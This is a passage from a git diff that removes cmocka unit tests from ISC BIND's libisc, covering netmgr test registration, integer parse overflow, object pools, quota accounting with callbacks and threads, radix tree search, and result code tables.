-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			tcp_recv_half_send_quota_sendback, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			tcp_half_recv_send_quota_sendback, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			tcp_half_recv_half_send_quota_sendback, nm_setup,
-			nm_teardown),
-
-		/* TCPDNS */
-		cmocka_unit_test_setup_teardown(tcpdns_recv_one, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcpdns_recv_two, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcpdns_noop, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcpdns_noresponse, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcpdns_timeout_recovery,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tcpdns_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcpdns_recv_half_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcpdns_half_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tcpdns_half_recv_half_send,
-						nm_setup, nm_teardown),
-
-		/* TLS */
-		cmocka_unit_test_setup_teardown(tls_noop, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_noresponse, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_timeout_recovery, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_one, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_two, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_half_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_half_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_half_recv_half_send,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_send_sendback,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_half_send_sendback,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_half_recv_send_sendback,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			tls_half_recv_half_send_sendback, nm_setup,
-			nm_teardown),
-
-		/* TLS quota */
-		cmocka_unit_test_setup_teardown(tls_recv_one_quota, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_two_quota, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_send_quota, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_half_send_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_half_recv_send_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_half_recv_half_send_quota,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tls_recv_send_quota_sendback,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			tls_recv_half_send_quota_sendback, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			tls_half_recv_send_quota_sendback, nm_setup,
-			nm_teardown),
-		cmocka_unit_test_setup_teardown(
-			tls_half_recv_half_send_quota_sendback, nm_setup,
-			nm_teardown),
-
-		/* TLSDNS */
-		cmocka_unit_test_setup_teardown(tlsdns_recv_one, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tlsdns_recv_two, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tlsdns_noop, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tlsdns_noresponse, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tlsdns_timeout_recovery,
-						nm_setup, nm_teardown),
-		cmocka_unit_test_setup_teardown(tlsdns_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tlsdns_recv_half_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tlsdns_half_recv_send, nm_setup,
-						nm_teardown),
-		cmocka_unit_test_setup_teardown(tlsdns_half_recv_half_send,
-						nm_setup, nm_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, _setup, _teardown));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/parse_test.c b/lib/isc/tests/parse_test.c
deleted file mode 100644
index 68f08d97ef..0000000000
--- a/lib/isc/tests/parse_test.c
+++ /dev/null
@@ -1,94 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#if HAVE_CMOCKA
-
-#include <inttypes.h>
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <time.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/parseint.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-/* Test for 32 bit overflow on 64 bit machines in isc_parse_uint32 */
-static void
-parse_overflow(void **state) {
-	isc_result_t result;
-	uint32_t output;
-
-	UNUSED(state);
-
-	result = isc_parse_uint32(&output, "1234567890", 10);
-	assert_int_equal(ISC_R_SUCCESS, result);
-	assert_int_equal(1234567890, output);
-
-	result = isc_parse_uint32(&output, "123456789012345", 10);
-	assert_int_equal(ISC_R_RANGE, result);
-
-	result = isc_parse_uint32(&output, "12345678901234567890", 10);
-	assert_int_equal(ISC_R_RANGE, result);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(parse_overflow, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/pool_test.c b/lib/isc/tests/pool_test.c
deleted file mode 100644
index 9ead94a592..0000000000
--- a/lib/isc/tests/pool_test.c
+++ /dev/null
@@ -1,192 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/mem.h>
-#include <isc/pool.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-static isc_result_t
-poolinit(void **target, void *arg) {
-	isc_result_t result;
-
-	isc_taskmgr_t *mgr = (isc_taskmgr_t *)arg;
-	isc_task_t *task = NULL;
-	result = isc_task_create(mgr, 0, &task);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-
-	*target = (void *)task;
-	return (ISC_R_SUCCESS);
-}
-
-static void
-poolfree(void **target) {
-	isc_task_t *task = *(isc_task_t **)target;
-	isc_task_destroy(&task);
-	*target = NULL;
-}
-
-/* Create a pool */
-static void
-create_pool(void **state) {
-	isc_result_t result;
-	isc_pool_t *pool = NULL;
-
-	UNUSED(state);
-
-	result = isc_pool_create(test_mctx, 8, poolfree, poolinit, taskmgr,
-				 &pool);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_pool_count(pool), 8);
-
-	isc_pool_destroy(&pool);
-	assert_null(pool);
-}
-
-/* Resize a pool */
-static void
-expand_pool(void **state) {
-	isc_result_t result;
-	isc_pool_t *pool1 = NULL, *pool2 = NULL, *hold = NULL;
-
-	UNUSED(state);
-
-	result = isc_pool_create(test_mctx, 10, poolfree, poolinit, taskmgr,
-				 &pool1);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_pool_count(pool1), 10);
-
-	/* resizing to a smaller size should have no effect */
-	hold = pool1;
-	result = isc_pool_expand(&pool1, 5, &pool2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_pool_count(pool2), 10);
-	assert_ptr_equal(pool2, hold);
-	assert_null(pool1);
-	pool1 = pool2;
-	pool2 = NULL;
-
-	/* resizing to the same size should have no effect */
-	hold = pool1;
-	result = isc_pool_expand(&pool1, 10, &pool2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_pool_count(pool2), 10);
-	assert_ptr_equal(pool2, hold);
-	assert_null(pool1);
-	pool1 = pool2;
-	pool2 = NULL;
-
-	/* resizing to larger size should make a new pool */
-	hold = pool1;
-	result = isc_pool_expand(&pool1, 20, &pool2);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_pool_count(pool2), 20);
-	assert_ptr_not_equal(pool2, hold);
-	assert_null(pool1);
-
-	isc_pool_destroy(&pool2);
-	assert_null(pool2);
-}
-
-/* Get objects */
-static void
-get_objects(void **state) {
-	isc_result_t result;
-	isc_pool_t *pool = NULL;
-	void *item;
-	isc_task_t *task1 = NULL, *task2 = NULL, *task3 = NULL;
-
-	UNUSED(state);
-
-	result = isc_pool_create(test_mctx, 2, poolfree, poolinit, taskmgr,
-				 &pool);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_int_equal(isc_pool_count(pool), 2);
-
-	item = isc_pool_get(pool);
-	assert_non_null(item);
-	isc_task_attach((isc_task_t *)item, &task1);
-
-	item = isc_pool_get(pool);
-	assert_non_null(item);
-	isc_task_attach((isc_task_t *)item, &task2);
-
-	item = isc_pool_get(pool);
-	assert_non_null(item);
-	isc_task_attach((isc_task_t *)item, &task3);
-
-	isc_task_detach(&task1);
-	isc_task_detach(&task2);
-	isc_task_detach(&task3);
-
-	isc_pool_destroy(&pool);
-	assert_null(pool);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(create_pool, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(expand_pool, _setup, _teardown),
-		cmocka_unit_test_setup_teardown(get_objects, _setup, _teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/quota_test.c b/lib/isc/tests/quota_test.c
deleted file mode 100644
index 6a8c09bece..0000000000
--- a/lib/isc/tests/quota_test.c
+++ /dev/null
@@ -1,356 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include <string.h>
-#include <unistd.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/quota.h>
-#include <isc/result.h>
-#include <isc/thread.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-static void
-isc_quota_get_set_test(void **state) {
-	UNUSED(state);
-	isc_quota_t quota;
-	isc_quota_t *quota2 = NULL;
-	isc_quota_init(&quota, 100);
-
-	assert_int_equal(isc_quota_getmax(&quota), 100);
-	assert_int_equal(isc_quota_getsoft(&quota), 0);
-
-	isc_quota_max(&quota, 50);
-	isc_quota_soft(&quota, 30);
-
-	assert_int_equal(isc_quota_getmax(&quota), 50);
-	assert_int_equal(isc_quota_getsoft(&quota), 30);
-
-	assert_int_equal(isc_quota_getused(&quota), 0);
-	isc_quota_attach(&quota, &quota2);
-	assert_int_equal(isc_quota_getused(&quota), 1);
-	isc_quota_detach(&quota2);
-	assert_int_equal(isc_quota_getused(&quota), 0);
-	isc_quota_destroy(&quota);
-}
-
-static void
-add_quota(isc_quota_t *source, isc_quota_t **target,
-	  isc_result_t expected_result, int expected_used) {
-	isc_result_t result;
-
-	*target = NULL;
-
-	result = isc_quota_attach(source, target);
-	assert_int_equal(result, expected_result);
-
-	switch (expected_result) {
-	case ISC_R_SUCCESS:
-	case ISC_R_SOFTQUOTA:
-		assert_ptr_equal(*target, source);
-		break;
-	default:
-		assert_null(*target);
-		break;
-	}
-
-	assert_int_equal(isc_quota_getused(source), expected_used);
-}
-
-static void
-isc_quota_hard_test(void **state) {
-	isc_quota_t quota;
-	isc_quota_t *quotas[110];
-	int i;
-	UNUSED(state);
-
-	isc_quota_init(&quota, 100);
-
-	for (i = 0; i < 100; i++) {
-		add_quota(&quota, &quotas[i], ISC_R_SUCCESS, i + 1);
-	}
-
-	add_quota(&quota, &quotas[100], ISC_R_QUOTA, 100);
-
-	assert_int_equal(isc_quota_getused(&quota), 100);
-
-	isc_quota_detach(&quotas[0]);
-	assert_null(quotas[0]);
-
-	add_quota(&quota, &quotas[100], ISC_R_SUCCESS, 100);
-	add_quota(&quota, &quotas[101], ISC_R_QUOTA, 100);
-
-	for (i = 100; i > 0; i--) {
-		isc_quota_detach(&quotas[i]);
-		assert_null(quotas[i]);
-		assert_int_equal(isc_quota_getused(&quota), i - 1);
-	}
-	assert_int_equal(isc_quota_getused(&quota), 0);
-	isc_quota_destroy(&quota);
-}
-
-static void
-isc_quota_soft_test(void **state) {
-	isc_quota_t quota;
-	isc_quota_t *quotas[110];
-	int i;
-	UNUSED(state);
-
-	isc_quota_init(&quota, 100);
-	isc_quota_soft(&quota, 50);
-
-	for (i = 0; i < 50; i++) {
-		add_quota(&quota, &quotas[i], ISC_R_SUCCESS, i + 1);
-	}
-	for (i = 50; i < 100; i++) {
-		add_quota(&quota, &quotas[i], ISC_R_SOFTQUOTA, i + 1);
-	}
-
-	add_quota(&quota, &quotas[i], ISC_R_QUOTA, 100);
-
-	for (i = 99; i >= 0; i--) {
-		isc_quota_detach(&quotas[i]);
-		assert_null(quotas[i]);
-		assert_int_equal(isc_quota_getused(&quota), i);
-	}
-	assert_int_equal(isc_quota_getused(&quota), 0);
-	isc_quota_destroy(&quota);
-}
-
-static atomic_uint_fast32_t cb_calls = ATOMIC_VAR_INIT(0);
-static isc_quota_cb_t cbs[30];
-static isc_quota_t *qp;
-
-static void
-callback(isc_quota_t *quota, void *data) {
-	int val = *(int *)data;
-	/* Callback is not called if we get the quota directly */
-	assert_int_not_equal(val, -1);
-
-	/* We get the proper quota pointer */
-	assert_ptr_equal(quota, qp);
-
-	/* Verify that the callbacks are called in order */
-	int v = atomic_fetch_add_relaxed(&cb_calls, 1);
-	assert_int_equal(v, val);
-
-	/*
-	 * First 5 will be detached by the test function,
-	 * for the last 5 - do a 'chain detach'.
-	 */
-	if (v >= 5) {
-		isc_quota_detach(&quota);
-	}
-}
-
-static void
-isc_quota_callback_test(void **state) {
-	isc_result_t result;
-	isc_quota_t quota;
-	isc_quota_t *quotas[30];
-	qp = &quota;
-	/*
-	 * - 10 calls that end with SUCCESS
-	 * - 10 calls that end with SOFTQUOTA
-	 * - 10 callbacks
-	 */
-	int ints[] = { -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-		       -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-		       0,  1,  2,  3,  4,  5,  6,  7,  8,  9 };
-	int i;
-	UNUSED(state);
-
-	isc_quota_init(&quota, 20);
-	isc_quota_soft(&quota, 10);
-
-	for (i = 0; i < 10; i++) {
-		quotas[i] = NULL;
-		isc_quota_cb_init(&cbs[i], callback, &ints[i]);
-		result = isc_quota_attach_cb(&quota, &quotas[i], &cbs[i]);
-		assert_int_equal(result, ISC_R_SUCCESS);
-		assert_ptr_equal(quotas[i], &quota);
-		assert_int_equal(isc_quota_getused(&quota), i + 1);
-	}
-	for (i = 10; i < 20; i++) {
-		quotas[i] = NULL;
-		isc_quota_cb_init(&cbs[i], callback, &ints[i]);
-		result = isc_quota_attach_cb(&quota, &quotas[i], &cbs[i]);
-		assert_int_equal(result, ISC_R_SOFTQUOTA);
-		assert_ptr_equal(quotas[i], &quota);
-		assert_int_equal(isc_quota_getused(&quota), i + 1);
-	}
-
-	for (i = 20; i < 30; i++) {
-		quotas[i] = NULL;
-		isc_quota_cb_init(&cbs[i], callback, &ints[i]);
-		result = isc_quota_attach_cb(&quota, &quotas[i], &cbs[i]);
-		assert_int_equal(result, ISC_R_QUOTA);
-		assert_ptr_equal(quotas[i], NULL);
-		assert_int_equal(isc_quota_getused(&quota), 20);
-	}
-	assert_int_equal(atomic_load(&cb_calls), 0);
-
-	for (i = 0; i < 5; i++) {
-		isc_quota_detach(&quotas[i]);
-		assert_null(quotas[i]);
-		assert_int_equal(isc_quota_getused(&quota), 20);
-		assert_int_equal(atomic_load(&cb_calls), i + 1);
-	}
-	/* That should cause a chain reaction */
-	isc_quota_detach(&quotas[5]);
-	assert_int_equal(atomic_load(&cb_calls), 10);
-
-	/* Release the quotas that we did not released in the callback */
-	for (i = 0; i < 5; i++) {
-		qp = &quota;
-		isc_quota_detach(&qp);
-	}
-
-	for (i = 6; i < 20; i++) {
-		isc_quota_detach(&quotas[i]);
-		assert_null(quotas[i]);
-		assert_int_equal(isc_quota_getused(&quota), 19 - i);
-	}
-	assert_int_equal(atomic_load(&cb_calls), 10);
-
-	assert_int_equal(isc_quota_getused(&quota), 0);
-	isc_quota_destroy(&quota);
-}
-
-/*
- * Multithreaded quota callback test:
- * - quota set to 100
- * - 10 threads, each trying to get 100 quotas.
- * - creates a separate thread to release it after 10ms
- */
-
-typedef struct qthreadinfo {
-	atomic_uint_fast32_t direct;
-	atomic_uint_fast32_t callback;
-	isc_quota_t *quota;
-	isc_quota_cb_t callbacks[100];
-} qthreadinfo_t;
-
-static atomic_uint_fast32_t g_tnum = ATOMIC_VAR_INIT(0);
-/* at most 10 * 100 quota_detach threads */
-isc_thread_t g_threads[10 * 100];
-
-static void *
-quota_detach(void *quotap) {
-	isc_quota_t *quota = (isc_quota_t *)quotap;
-	isc_test_nap(10000);
-	isc_quota_detach(&quota);
-	return ((isc_threadresult_t)0);
-}
-
-static void
-quota_callback(isc_quota_t *quota, void *data) {
-	qthreadinfo_t *qti = (qthreadinfo_t *)data;
-	atomic_fetch_add_relaxed(&qti->callback, 1);
-	int tnum = atomic_fetch_add_relaxed(&g_tnum, 1);
-	isc_thread_create(quota_detach, quota, &g_threads[tnum]);
-}
-
-static isc_threadresult_t
-quota_thread(void *qtip) {
-	qthreadinfo_t *qti = (qthreadinfo_t *)qtip;
-	for (int i = 0; i < 100; i++) {
-		isc_quota_cb_init(&qti->callbacks[i], quota_callback, qti);
-		isc_quota_t *quota = NULL;
-		isc_result_t result = isc_quota_attach_cb(qti->quota, &quota,
-							  &qti->callbacks[i]);
-		if (result == ISC_R_SUCCESS) {
-			atomic_fetch_add_relaxed(&qti->direct, 1);
-			int tnum = atomic_fetch_add_relaxed(&g_tnum, 1);
-			isc_thread_create(quota_detach, quota,
-					  &g_threads[tnum]);
-		}
-	}
-	return ((isc_threadresult_t)0);
-}
-
-static void
-isc_quota_callback_mt_test(void **state) {
-	UNUSED(state);
-	isc_quota_t quota;
-	int i;
-
-	isc_quota_init(&quota, 100);
-	static qthreadinfo_t qtis[10];
-	isc_thread_t threads[10];
-	for (i = 0; i < 10; i++) {
-		atomic_init(&qtis[i].direct, 0);
-		atomic_init(&qtis[i].callback, 0);
-		qtis[i].quota = &quota;
-		isc_thread_create(quota_thread, &qtis[i], &threads[i]);
-	}
-	for (i = 0; i < 10; i++) {
-		isc_thread_join(threads[i], NULL);
-	}
-
-	for (i = 0; i < (int)atomic_load(&g_tnum); i++) {
-		isc_thread_join(g_threads[i], NULL);
-	}
-	int direct = 0, callback = 0;
-
-	for (i = 0; i < 10; i++) {
-		direct += atomic_load(&qtis[i].direct);
-		callback += atomic_load(&qtis[i].callback);
-	}
-	/* Total quota gained must be 10 threads * 100 tries */
-	assert_int_equal(direct + callback, 10 * 100);
-	/*
-	 * At least 100 must be direct, the rest is virtually random:
-	 * - in a regular run I'm constantly getting 100:900 ratio
-	 * - under rr - usually around ~120:880
-	 * - under rr -h - 1000:0
-	 */
-	assert_true(direct >= 100);
-
-	isc_quota_destroy(&quota);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_quota_get_set_test),
-		cmocka_unit_test(isc_quota_hard_test),
-		cmocka_unit_test(isc_quota_soft_test),
-		cmocka_unit_test(isc_quota_callback_test),
-		cmocka_unit_test(isc_quota_callback_mt_test),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/radix_test.c b/lib/isc/tests/radix_test.c
deleted file mode 100644
index d444804802..0000000000
--- a/lib/isc/tests/radix_test.c
+++ /dev/null
@@ -1,122 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <sched.h> /* IWYU pragma: keep */
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/mem.h>
-#include <isc/netaddr.h>
-#include <isc/radix.h>
-#include <isc/result.h>
-#include <isc/util.h>
-
-#include "isctest.h"
-
-static int
-_setup(void **state) {
-	isc_result_t result;
-
-	UNUSED(state);
-
-	result = isc_test_begin(NULL, true, 0);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	return (0);
-}
-
-static int
-_teardown(void **state) {
-	UNUSED(state);
-
-	isc_test_end();
-
-	return (0);
-}
-
-/* test radix searching */
-static void
-isc_radix_search_test(void **state) {
-	isc_radix_tree_t *radix = NULL;
-	isc_radix_node_t *node;
-	isc_prefix_t prefix;
-	isc_result_t result;
-	struct in_addr in_addr;
-	isc_netaddr_t netaddr;
-
-	UNUSED(state);
-
-	result = isc_radix_create(test_mctx, &radix, 32);
-	assert_int_equal(result, ISC_R_SUCCESS);
-
-	in_addr.s_addr = inet_addr("3.3.3.0");
-	isc_netaddr_fromin(&netaddr, &in_addr);
-	NETADDR_TO_PREFIX_T(&netaddr, prefix, 24);
-
-	node = NULL;
-	result = isc_radix_insert(radix, &node, NULL, &prefix);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	node->data[0] = (void *)1;
-	isc_refcount_destroy(&prefix.refcount);
-
-	in_addr.s_addr = inet_addr("3.3.0.0");
-	isc_netaddr_fromin(&netaddr, &in_addr);
-	NETADDR_TO_PREFIX_T(&netaddr, prefix, 16);
-
-	node = NULL;
-	result = isc_radix_insert(radix, &node, NULL, &prefix);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	node->data[0] = (void *)2;
-	isc_refcount_destroy(&prefix.refcount);
-
-	in_addr.s_addr = inet_addr("3.3.3.3");
-	isc_netaddr_fromin(&netaddr, &in_addr);
-	NETADDR_TO_PREFIX_T(&netaddr, prefix, 22);
-
-	node = NULL;
-	result = isc_radix_search(radix, &node, &prefix);
-	assert_int_equal(result, ISC_R_SUCCESS);
-	assert_ptr_equal(node->data[0], (void *)2);
-
-	isc_refcount_destroy(&prefix.refcount);
-
-	isc_radix_destroy(radix, NULL);
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test_setup_teardown(isc_radix_search_test, _setup,
-						_teardown),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/result_test.c b/lib/isc/tests/result_test.c
deleted file mode 100644
index 248dea6f8c..0000000000
--- a/lib/isc/tests/result_test.c
+++ /dev/null
@@ -1,130 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-#if HAVE_CMOCKA
-
-#include <setjmp.h>
-#include <stdarg.h>
-#include <stddef.h>
-#include <stdlib.h>
-#include <string.h>
-
-#define UNIT_TESTING
-#include <cmocka.h>
-
-#include <isc/result.h>
-#include <isc/util.h>
-
-#include <pk11/result.h>
-
-/* convert result to identifier string */
-static void
-isc_result_toid_test(void **state) {
-	const char *id;
-
-	UNUSED(state);
-
-	id = isc_result_toid(ISC_R_SUCCESS);
-	assert_string_equal("ISC_R_SUCCESS", id);
-
-	id = isc_result_toid(ISC_R_FAILURE);
-	assert_string_equal("ISC_R_FAILURE", id);
-}
-
-/* convert result to description string */
-static void
-isc_result_totext_test(void **state) {
-	const char *str;
-
-	UNUSED(state);
-
-	str = isc_result_totext(ISC_R_SUCCESS);
-	assert_string_equal("success", str);
-
-	str = isc_result_totext(ISC_R_FAILURE);
-	assert_string_equal("failure", str);
-}
-
-/* check tables are populated */
-static void
-tables(void **state) {
-	const char *str;
-	isc_result_t result;
-
-	UNUSED(state);
-
-	pk11_result_register();
-
-	for (result = 0; result < ISC_R_NRESULTS; result++) {
-		str = isc_result_toid(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-
-		str = isc_result_totext(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-	}
-
-	str = isc_result_toid(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-
-	str = isc_result_totext(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-
-	for (result = ISC_RESULTCLASS_PK11;
-	     result < (ISC_RESULTCLASS_PK11 + PK11_R_NRESULTS); result++)
-	{
-		str = isc_result_toid(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-
-		str = isc_result_totext(result);
-		assert_non_null(str);
-		assert_string_not_equal(str, "(result code text not "
-					     "available)");
-	}
-
-	str = isc_result_toid(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-
-	str = isc_result_totext(result);
-	assert_non_null(str);
-	assert_string_equal(str, "(result code text not available)");
-}
-
-int
-main(void) {
-	const struct CMUnitTest tests[] = {
-		cmocka_unit_test(isc_result_toid_test),
-		cmocka_unit_test(isc_result_totext_test),
-		cmocka_unit_test(tables),
-	};
-
-	return (cmocka_run_group_tests(tests, NULL, NULL));
-}
-
-#else /* HAVE_CMOCKA */
-
-#include <stdio.h>
-
-int
-main(void) {
-	printf("1..0 # Skipped: cmocka not available\n");
-	return (SKIPPED_TEST_EXIT_CODE);
-}
-
-#endif /* if HAVE_CMOCKA */
diff --git a/lib/isc/tests/socket_test.c b/lib/isc/tests/socket_test.c
deleted file mode 100644
index 28a436b7d2..0000000000
--- a/lib/isc/tests/socket_test.c
+++ /dev/null
@@ -1,820 +0,0 @@
-/*
- * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
- *
- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#if HAVE_CMOCKA
-#include <inttypes.h>
